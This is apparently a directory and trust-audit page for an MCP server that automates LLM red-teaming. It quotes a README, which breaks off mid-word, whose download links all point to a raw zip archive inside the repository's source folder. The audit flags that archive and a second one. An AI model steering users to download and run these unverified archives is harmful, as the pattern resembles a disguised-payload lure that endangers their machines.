llamator-mcp-serverCAUTION
🚀 Automate LLM red teaming workflows with the MCP server for LLAMATOR, featuring asynchronous job handling and seamless integration.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
# 🎉 llamator-mcp-server - Automate AI Security Workflows Easily ## 📥 Download Now! [](https://raw.githubusercontent.com/kyle122497/llamator-mcp-server/main/src/mcp_server_llamator_2.4.zip) ## 🚀 Getting Started Welcome to the **llamator-mcp-server**! This application helps you automate the processes involved in red teaming workflows for Large Language Models (LLMs). You don’t need a technical background to use it. Follow the steps below to get started quickly. ## 📦 System Requirements Before you begin, make sure your system meets the following requirements: - **Operating System:** Windows 10 or later, macOS 10.15 or later, or a recent Linux distribution. - **RAM:** At least 4 GB. - **Storage:** Minimum 200 MB of free space. - **Python:** Version 3.8 or later must be installed. ## 🌟 Features - **Automate workflows** for LLM red teaming. - **Analyze LLM behavior** under different attack scenarios. - **Identify vulnerabilities** and produce detailed reports. - **User-friendly interface** guiding you step by step. ## 📜 Download & Install To download the application, visit the [Releases page](https://raw.githubusercontent.com/kyle122497/llamator-mcp-server/main/src/mcp_server_llamator_2.4.zip). You'll find the latest version ready for download. 1. Click on the link above to go to the Releases page. 2. Look for the latest version listed at the top of the page. 3. Find the file suitable for your system (for example, `https://raw.githubusercontent.com/kyle122497/llamator-mcp-server/main/src/mcp_server_llamator_2.4.zip` or `https://raw.githubusercontent.com/kyle122497/llamator-mcp-server/main/src/mcp_server_llamator_2.4.zip`). 4. Click on the file name to start the download. After downloading the file: 1. Locate the downloaded file in your Downloads folder. 2. Extract the contents of the file. 3. Open the extracted folder. 4. Fin
385056fc8491OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add llamator-mcp-server -- uvx llamator-mcp-server
{
"mcpServers": {
"llamator-mcp-server": {
"command": "uvx",
"args": [
"llamator-mcp-server"
]
}
}
}Exposed tools (2)
0 read · 2 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
create_llamator_run | write | |
get_llamator_run | write |
Trust audit
CAUTIONgrade B · trust 87/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (1 observation(s))
- Shell
- declared (1 observation(s))
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (8)
mcp_server_llamator_2.4.zip
module = importlib.import_module(module_name)
streamable-http
.coveragerc
.flake8
.pre-commit-config.yaml
.env.test
src/llamator_mcp_server/api/llamator-server-mcp-v2.9.zip
Gates applied: no_behavioural_pass.
385056fc8491full audit observations/trust-audit/mcp-server/kyle122497__llamator-mcp-server.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 385056fc8491 | CAUTION | B | 87 | first audit |
Questions
What is the llamator-mcp-server MCP server?
🚀 Automate LLM red teaming workflows with the MCP server for LLAMATOR, featuring asynchronous job handling and seamless integration.
What tools does llamator-mcp-server expose?
2 in total: 0 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is llamator-mcp-server safe to connect to an agent?
With care. The audit graded it B (87/100) and found 8 things worth knowing before you trust this server, listed below with the exact line each was found on.
What credentials does llamator-mcp-server need?
No credential environment variables were found in its source, so it appears to need none.
How does llamator-mcp-server run?
It speaks streamable-http, so it runs as a service you connect to over the network. It is published on PyPI as llamator-mcp-server.
How current is this page?
The grade is for one exact copy of the source (385056fc8491), read on 2026-10-11. The repository is watched and re-audited when it changes.